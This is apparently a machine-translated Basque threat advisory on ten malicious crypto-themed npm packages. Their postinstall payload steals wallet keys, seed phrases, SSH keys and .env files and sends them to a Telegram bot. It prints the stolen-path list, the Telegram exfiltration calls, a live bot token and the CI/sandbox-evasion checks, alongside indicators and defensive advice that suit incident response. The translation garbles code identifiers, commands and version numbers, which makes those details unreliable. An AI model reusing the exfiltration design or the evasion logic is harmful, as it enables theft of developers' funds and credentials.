TL; DR
2026ko ekainaren 9an npm argitaratzaile kontu bakarra, aicrypto-xzggg, bidalita hamar pakete kriptografia eta Web3 zaporeko izenekin — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, eta beste sei.
Pakete guztiek karga bera exekutatzen dute batetik postinstall hook. Instalazioan, CI edo sandbox baten barruan exekutatzen ari den egiaztatzen du — hala ez bada, zorro-gakoen biltegiak, hazi-esaldien fitxategiak, SSH giltzak eta irakurtzen ditu .env sei blockchain ekosistematako fitxategiak biltzen ditu eta Telegram bot bati bidaltzen dizkio.
Defendatzaile batek berehala bilatu dezakeen adierazle bakarra Telegram bot-aren IDa da. 8227918239.
Larritasun: kritikoa — sinadura-giltzen eta berreskuratze-esaldien lapurreta zuzena garatzaileen lan-estazioak.
Erasoa: Nola funtzionatzen duen
Paketeek blockchain garatzaileentzako utilitate gisa iragartzen dute beren burua. paketea.json minimoa da eta instalazio-zikloa script batera bideratzen du:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js benetako karga kargatzen duen lerro bakarreko shim bat da: require("../src/index.js"). delako instalazio osteko automatikoki exekutatzen da bitartean npm instalatu, ez da garatzaileak kodea inportatu behar — paketea mendekotasun-zuhaitz batean jartzea nahikoa da exekutatzeko.
Barruko hilketa-katea src/index.js lau urrats ditu:
- Ingurumenaren egiaztapena. Zaintza funtzio batek erabakitzen du ostatua eraikuntza-agente edo analisi-sandbox baten itxura duen.
- Atzerapena. Exekuzioa atzeratu da baten atzean ezarriDenbora-muga gutxi gorabehera 7.4 segundo.
- Bilduma. Zorro, giltza eta fitxategi sekretuen bideen zerrenda finko bat aztertzen da; dauden fitxategiak ilaran jartzen dira.
- Esfiltrazioa. Ilaran dauden fitxategiak Telegram bot bati bidaltzen zaizkio, laburpen-mezu batekin aurretik.
Bildumaren helburu-zerrendak sei kate eta garatzaileen sekretu generikoak hartzen ditu barne. Moztua:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Guztira hogeita bat bide. Direktorioko sarrerak, esaterako ~/.ethereum/giltza-denda zabalduta daude eta barruko fitxategi guztiak ilaran jartzen dira. Esfiltrazioak Telegram Bot APIa erabiltzen du zuzenean — a bidaliMezua deitu ostalari eta fitxategi laburpen batekin, eta gero bidaliDokumentua fitxategi bakoitzerako zati anitzeko igoera:
testu
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Kodeak muntatzen duen laburpen-mezua literalki hasten da: KRIPTO LAPURRA, eta ondoren hostname-a, erabiltzaile-izena, jatorrizko paketearen izena, fitxategi kopurua eta denbora-zigilua.
Zer dago berri hemen?
Bereizgarria ez da lapurreta mekanismoa — Telegram-en oinarritutako kanporatzea npm-tik instalazio osteko hooks ondo zapalduta dago. Hau da exekuzio atea. Ezer egin aurretik, kargak funtzio bat deitzen du, eta funtzio horrek true itzultzen du ostalariak CI exekutatzaile edo sandbox baten antza duenean, eta goiz itzultzen du hala denean:
testu
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Edukiontzi-id regex klausula aipagarria da: 12 karaktereko hostname hexadecimala da Dockerrek esleitzen dion forma lehenetsia. edukiontzi, beraz, kargak "nire hostname-ak Docker edukiontzi baten itxura du" erabiltzen du inaktibo egoteko arrazoi gisa. Zazpi segundoko atzerapenarekin batera, diseinuak garatzaile baten benetako lan-estazioan exekutatzea eta analisi automatizatua dirudien edozein lekutan isilik egotea lehenesten du. Ate horrek analisi dinamikoaren seinaleak kentzen ditu eta kanporatze estatiko fluxua froga nagusi gisa mantentzen du.
Timeline
| Data (UTC) | Gertaera |
|---|---|
| 2026-06-09 ~02:48 | Klusterreko lehen paketeak argitalpenean markatu ziren (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Bertsio altuagoko kideak markatuta (ethereum-kit-9 1.25.36an, wallet-sdk-9 3.7.73:XNUMXetan) |
| 2026-06-09 ~03:58–03:59 | Azken kideak markatuta (defi-tools-39 4.26.29an, swap-sdk-87 4.63.78an, farming-tools-12 4.68.54:XNUMXetan) |
| 2026-06-09 | Hamar sailkatuak gaiztoak eta erregistroan kentzeko salatuak |
Hamar guztiak hirurogeita hamar minututan azaleratu ziren, kontu bakar bateko argitalpen gidoidun bakarraren antzera.
Konpromisoaren adierazleak
Sare eta portaera adierazleak (ostalaria deskonektatuta):
| Adierazlea | Balio |
|---|---|
| Exfil amaiera-puntua | api[.]telegram[.]org (Telegram Bot APIa) |
| Telegram bot-aren IDa | 8227918239 |
| Bot tokena | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram txataren IDa | 6433587894 |
| Instalatu kakoa | postinstall → scripts/postinstall.js → src/index.js |
| Markatzaile-katea | CRYPTO STEALER bildutako laburpen-mezuan |
| Argitaratzailea | aicrypto-xzggg (adierazitako helbide elektronikoa vipsyria88@gmail[.]com, egiaztatu gabe) |
Paketeak eta bertsioak, bakoitza bere SHA-256arekin src/index.js karga (kargak funtzionalki berdinak dira eta txertatutako pakete-izenaren etiketa baino ez dute desberdintzen, beraz, hash bakoitza desberdina da):
| Package | Bertsio | src/index.js-ren SHA-256 |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Ehiza-kontsulta sinple bat: bilatu instalazio-erregistroak eta blokeo-fitxategiak hamar izenetako edozeinentzat, eta bilatu irteerako trafikoa Telegram Bot APIrako konexioetarako, bestela erabiltzen ez duten eraikitze- edo garatzaile-ostalarietatik.
Aitortza eta Behatutako Portaera
Hamar pakete guztiak kontu bakar batek argitaratu zituen, aicrypto-xzggg, zeinaren helbide elektronikoa adierazi den vipsyria88@gmail[.]comBai helbide elektronikoa, bai iturburu-kontroleko esteka ez daude egiaztatuta erregistroko metadatuetan, eta kontuak ospe puntuazio oso negatiboa du. Ez dugu baieztatu nork kudeatzen duen kontua.
Bi xehetasun bereizteko modukoak dira edozein identitate-erreklamaziotik. Lehenik eta behin, paketea.json Egileak eremu irakurketak Alex Smith pakete guztietan, benetako argitalpen kontua den bitartean aicrypto-xzggg; egilearen eremua auto-deklaratutako metadatua da eta ez du egiletza ezartzen. Bigarrenik, bertsio-zenbakiak asko aldatzen dira — kide batzuk hemen daude 1.0.0, beste batzuk hemen 4.68.54 — hau da, pakete-izen berrietan karga bakarra berrerabiltzearekin bat datorrena, benetako argitalpen-historiak mantendu beharrean.
Portaera uniformea da kluster osoan: helburu-bideen zerrenda bera, Telegram bot ID eta txat ID bera, ingurune-ate bera, KRIPTO LAPURRA markatzailea. Uniformitate hori da paketeen arteko lotura sendoena. Operadore beraren seinalea da, ez identitatea.
Eragina, joerak eta defendatzaileentzako orientabideak
Esposizioa konkretua da. Pakete horietako edozein software zorro bat, hazi-esaldi fitxategi bat edo SSH gako bat duen lan-estazio batean instalatzen duen garatzaile batek fitxategi horiek irakurri eta segundo gutxiren buruan transmititzen ditu ostalaritik. Berreskuratze esaldiak eta sinadura-gakoak ez dira saio-token bat bezala iraungitzen; behin... mnemonikoa.txt edo Solana bat id.json makina uzten badu, kontrolatzen dituen funtsak arriskuan daude mugitu arte. Exekuzio berak ere jasotzen ditu .env fitxategiak, normalean API gakoak eta datu-basearen kredentzialak daramatzatenak.
Bi joera daude multzo honen atzean. Lehenengoa kriptografia- eta Web3 gaiko izenak erabiltzen jarraitzea da publiko espezifiko bat erakartzeko —mendekotasunak instalatzen dituzten makina berean zorroak eta giltzak gordetzen dituzten garatzaileak—. Bigarrena, instalazio-garaiko karga-zama batean sandbox saihestearen heldutasuna da. CI ingurune-aldagaiak, exekutatzen duten erabiltzaile-izenak eta Docker edukiontzi-id hostname forma egiaztatzen dituen ate bat analisipean benetako lan-estazio batean baino modu ezberdinean jokatzeko ahalegin nahita bat da, eta detekzio dinamiko hutsaren maila igotzen du.
Defendatzaileentzat:
Script-ak lehenespenez desgaituta instalatu. npm instalazioa –ignore-script-ak, edo ezarri ez ikusi-gidoiak=egia in .npmrc, eragozten du instalazio osteko exekuzioa; gaitu scriptak benetan behar dituzten mendekotasun espezifikoetarako soilik.
Mantendu zorroak eta sinadura-giltzak eraikuntza- eta garapen-makinetatik kanpo. Erabili hardware-zorro bat edo sinadura-ostalari dedikatu eta mendekotasunik gabeko bat.
Treat .env, gako-biltegiak eta hazi-esaldi fitxategiak harribitxi gisa. Ez lukete inoiz egon behar direktorio batean ere npm instalatu lanean ari den zuhaitza.
Bilatu Telegram Bot APIrako konexioak CI eta garatzaileen ostalarietatik. Eraikuntza-ingurune gehienek ez dute inoiz deitzen; instalazio baten ondoren bat-batean deitzen duen bat ikertzea merezi du.
Mendekotasunak finkatu eta berrikusi. Kriptografia-izen generiko batekin pakete berri bat, instalazio osteko hook, eta ez dago biltegiko estekarik blokeo-fitxategi batean sartu aurretik begirada bat merezi duenik.
Edukiontziaren IDa saihesteko klausula analistentzako oroigarri bat ere bada: sandbox batean inaktibo geratzen den instalazio-garaiko karga ez da onbera, selektiboa baizik. Instalazio-bidearen berrikuspen estatikoa da exekuzio dinamikoak zer erakutsi ez dezakeen ikusteko modu fidagarria.
Erreferentziak
npm instalazio dokumentazioa — bizi-zikloko script-ak eta –ignore-script-ak— instalazio automatikoa desgaitzeko erreferentzia hooks.





